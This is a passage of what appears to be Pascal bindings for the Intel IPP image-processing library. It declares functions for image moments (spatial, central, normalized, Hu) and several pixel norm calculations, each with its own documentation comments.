ippStsNoErr No errors
Parameters:
pState Pointer to the MomentState structure
hint Option to specify the computation algorithm
}
function ippiMomentInit_64f( pState : IppiMomentState_64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMoments
Purpose: Computes statistical moments of an image
Returns:
ippStsContextMatchErr pState->idCtx != idCtxMoment
ippStsNullPtrErr (pSrc == NULL) or (pState == NULL)
ippStsStepErr pSrcStep <0
ippStsSizeErr (roiSize.width <1) or (roiSize.height <1)
ippStsNoErr No errors
Parameters:
pSrc Pointer to the source image
srcStep Step in bytes through the source image
roiSize Size of the source ROI
pState Pointer to the MomentState structure
Notes:
These functions compute moments of order 0 to 3 only
}
function ippiMoments64f_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pCtx : IppiMomentState_64fPtr ): IppStatus; _ippapi
function ippiMoments64f_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pCtx : IppiMomentState_64fPtr ): IppStatus; _ippapi
function ippiMoments64f_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pCtx : IppiMomentState_64fPtr ): IppStatus; _ippapi
function ippiMoments64f_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pCtx : IppiMomentState_64fPtr ): IppStatus; _ippapi
function ippiMoments64f_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pCtx : IppiMomentState_64fPtr ): IppStatus; _ippapi
function ippiMoments64f_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pCtx : IppiMomentState_64fPtr ): IppStatus; _ippapi
function ippiMoments64f_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pCtx : IppiMomentState_64fPtr ): IppStatus; _ippapi
function ippiMoments64f_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pCtx : IppiMomentState_64fPtr ): IppStatus; _ippapi
function ippiMoments64f_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pCtx : IppiMomentState_64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetSpatialMoment()
ippiGetCentralMoment()
Purpose: Retrieves the value of the image spatial/central moment.
Returns:
ippStsNullPtrErr (pState == NULL) or (pValue == NULL)
ippStsContextMatchErr pState->idCtx != idCtxMoment
ippStsSizeErr (mOrd+nOrd) >3 or
(nChannel<0) or (nChannel>=pState->nChannelInUse)
ippStsNoErr No errors
Parameters:
pState Pointer to the MomentState structure
mOrd m- Order (X direction)
nOrd n- Order (Y direction)
nChannel Channel number
roiOffset Offset of the ROI origin (ippiGetSpatialMoment ONLY!)
pValue Pointer to the retrieved moment value
scaleFactor Factor to scale the moment value (for integer data)
NOTE:
ippiGetSpatialMoment uses Absolute Coordinates (left-top image has 0, 0).
}
function ippiGetSpatialMoment_64f( pState : IppiMomentState_64fPtr ; mOrd : Int32 ; nOrd : Int32 ; nChannel : Int32 ; roiOffset : IppiPoint ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiGetCentralMoment_64f( pState : IppiMomentState_64fPtr ; mOrd : Int32 ; nOrd : Int32 ; nChannel : Int32 ; pValue : Ipp64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetNormalizedSpatialMoment()
ippiGetNormalizedCentralMoment()
Purpose: Retrieves the normalized value of the image spatial/central moment.
Returns:
ippStsNullPtrErr (pState == NULL) or (pValue == NULL)
ippStsContextMatchErr pState->idCtx != idCtxMoment
ippStsSizeErr (mOrd+nOrd) >3 or
(nChannel<0) or (nChannel>=pState->nChannelInUse)
ippStsMoment00ZeroErr mm[0][0] < IPP_EPS52
ippStsNoErr No errors
Parameters:
pState Pointer to the MomentState structure
mOrd m- Order (X direction)
nOrd n- Order (Y direction)
nChannel Channel number
roiOffset Offset of the ROI origin (ippiGetSpatialMoment ONLY!)
pValue Pointer to the normalized moment value
scaleFactor Factor to scale the moment value (for integer data)
}
function ippiGetNormalizedSpatialMoment_64f( pState : IppiMomentState_64fPtr ; mOrd : Int32 ; nOrd : Int32 ; nChannel : Int32 ; roiOffset : IppiPoint ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiGetNormalizedCentralMoment_64f( pState : IppiMomentState_64fPtr ; mOrd : Int32 ; nOrd : Int32 ; nChannel : Int32 ; pValue : Ipp64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetHuMoments()
Purpose: Retrieves image Hu moment invariants.
Returns:
ippStsNullPtrErr (pState == NULL) or (pHu == NULL)
ippStsContextMatchErr pState->idCtx != idCtxMoment
ippStsSizeErr (nChannel<0) or (nChannel>=pState->nChannelInUse)
ippStsMoment00ZeroErr mm[0][0] < IPP_EPS52
ippStsNoErr No errors
Parameters:
pState Pointer to the MomentState structure
nChannel Channel number
pHm Pointer to the array of the Hu moment invariants
scaleFactor Factor to scale the moment value (for integer data)
Notes:
We consider Hu moments up to the 7-th order only
}
function ippiGetHuMoments_64f( pState : IppiMomentState_64fPtr ; nChannel : Int32 ; pHm : IppiHuMoment_64f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiNorm_Inf
Purpose: computes the C-norm of pixel values of the image: n = MAX |src1|
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc Pointer to the source image.
srcStep Step through the source image
roiSize Size of the source ROI.
pValue Pointer to the computed norm (one-channel data)
value Array of the computed norms for each channel (multi-channel data)
Notes:
}
function ippiNorm_Inf_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_Inf_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNorm_Inf_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNorm_Inf_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_Inf_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNorm_Inf_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNorm_Inf_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_Inf_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNorm_Inf_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNorm_Inf_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_Inf_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNorm_Inf_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiNorm_L1
Purpose: computes the L1-norm of pixel values of the image: n = SUM |src1|
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc Pointer to the source image.
srcStep Step through the source image
roiSize Size of the source ROI.
pValue Pointer to the computed norm (one-channel data)
value Array of the computed norms for each channel (multi-channel data)
hint Option to specify the computation algorithm
Notes:
}
function ippiNorm_L1_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L1_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNorm_L1_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNorm_L1_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L1_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNorm_L1_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNorm_L1_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L1_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNorm_L1_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNorm_L1_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNorm_L1_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNorm_L1_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiNorm_L2
Purpose: computes the L2-norm of pixel values of the image: n = SQRT(SUM |src1|^2)
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc Pointer to the source image.
srcStep Step through the source image
roiSize Size of the source ROI.
pValue Pointer to the computed norm (one-channel data)
value Array of the computed norms for each channel (multi-channel data)
hint Option to specify the computation algorithm
Notes:
simple mul is better than table for P6 family
}
function ippiNorm_L2_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L2_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNorm_L2_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNorm_L2_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L2_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNorm_L2_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNorm_L2_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L2_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNorm_L2_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNorm_L2_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNorm_L2_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNorm_L2_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiNormDiff_Inf
Purpose: computes the C-norm of pixel values of two images: n = MAX |src1 - src2|
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc1, pSrc2 Pointers to the source images.
src1Step, src2Step Steps in bytes through the source images
roiSize Size of the source ROI.
pValue Pointer to the computed norm (one-channel data)
value Array of the computed norms for each channel (multi-channel data)
Notes:
}
function ippiNormDiff_Inf_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_Inf_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormDiff_Inf_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormDiff_Inf_16s_C1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_Inf_16s_C3R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormDiff_Inf_16s_C4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormDiff_Inf_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_Inf_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormDiff_Inf_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormDiff_Inf_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_Inf_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormDiff_Inf_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiNormDiff_L1
Purpose: computes the L1-norm of pixel values of two images: n = SUM |src1 - src2|
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc1, pSrc2 Pointers to the source images.
src1Step, src2Step Steps in bytes through the source images
roiSize Size of the source ROI.
pValue Pointer to the computed norm (one-channel data)
value Array of the computed norms for each channel (multi-channel data)
hint Option to specify the computation algorithm
Notes:
}
function ippiNormDiff_L1_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L1_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormDiff_L1_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormDiff_L1_16s_C1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L1_16s_C3R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormDiff_L1_16s_C4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormDiff_L1_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L1_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormDiff_L1_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormDiff_L1_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNormDiff_L1_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNormDiff_L1_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiNormDiff_L2
Purpose: computes the L2-norm of pixel values of two images:
n = SQRT(SUM |src1 - src2|^2)
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc1, pSrc2 Pointers to the source images.
src1Step, src2Step Steps in bytes through the source images
roiSize Size of the source ROI.
pValue Pointer to the computed norm (one-channel data)
value Array of the computed norms for each channel (multi-channel data)
hint Option to specify the computation algorithm
Notes:
}
function ippiNormDiff_L2_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L2_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormDiff_L2_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormDiff_L2_16s_C1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L2_16s_C3R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormDiff_L2_16s_C4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormDiff_L2_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L2_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormDiff_L2_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormDiff_L2_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNormDiff_L2_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNormDiff_L2_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiNormRel_Inf
Purpose: computes the relative error for the C-norm of pixel values of two images:
n = MAX |src1 - src2| / MAX |src2|
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsDivByZero MAX |src2| == 0
Parameters:
pSrc1, pSrc2 Pointers to the source images.
src1Step, src2Step Steps in bytes through the source images
roiSize Size of the source ROI.
pValue Pointer to the computed norm (one-channel data)
value Array of the computed norms for each channel (multi-channel data)
Notes:
}
function ippiNormRel_Inf_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_Inf_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormRel_Inf_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormRel_Inf_16s_C1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_Inf_16s_C3R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormRel_Inf_16s_C4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormRel_Inf_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_Inf_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormRel_Inf_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormRel_Inf_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_Inf_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormRel_Inf_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiNormRel_L1
Purpose: computes the relative error for the 1-norm of pixel values of two images:
n = SUM |src1 - src2| / SUM |src2|
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsDivByZero SUM |src2| == 0
Parameters:
pSrc1, pSrc2 Pointers to the source images.
src1Step, src2Step Steps in bytes through the source images
roiSize Size of the source ROI.
pValue Pointer to the computed norm (one-channel data)
value Array of the computed norms for each channel (multi-channel data)
hint Option to specify the computation algorithm
Notes:
}
function ippiNormRel_L1_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L1_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormRel_L1_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormRel_L1_16s_C1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L1_16s_C3R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormRel_L1_16s_C4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormRel_L1_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L1_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormRel_L1_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormRel_L1_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNormRel_L1_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNormRel_L1_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiNormRel_L2
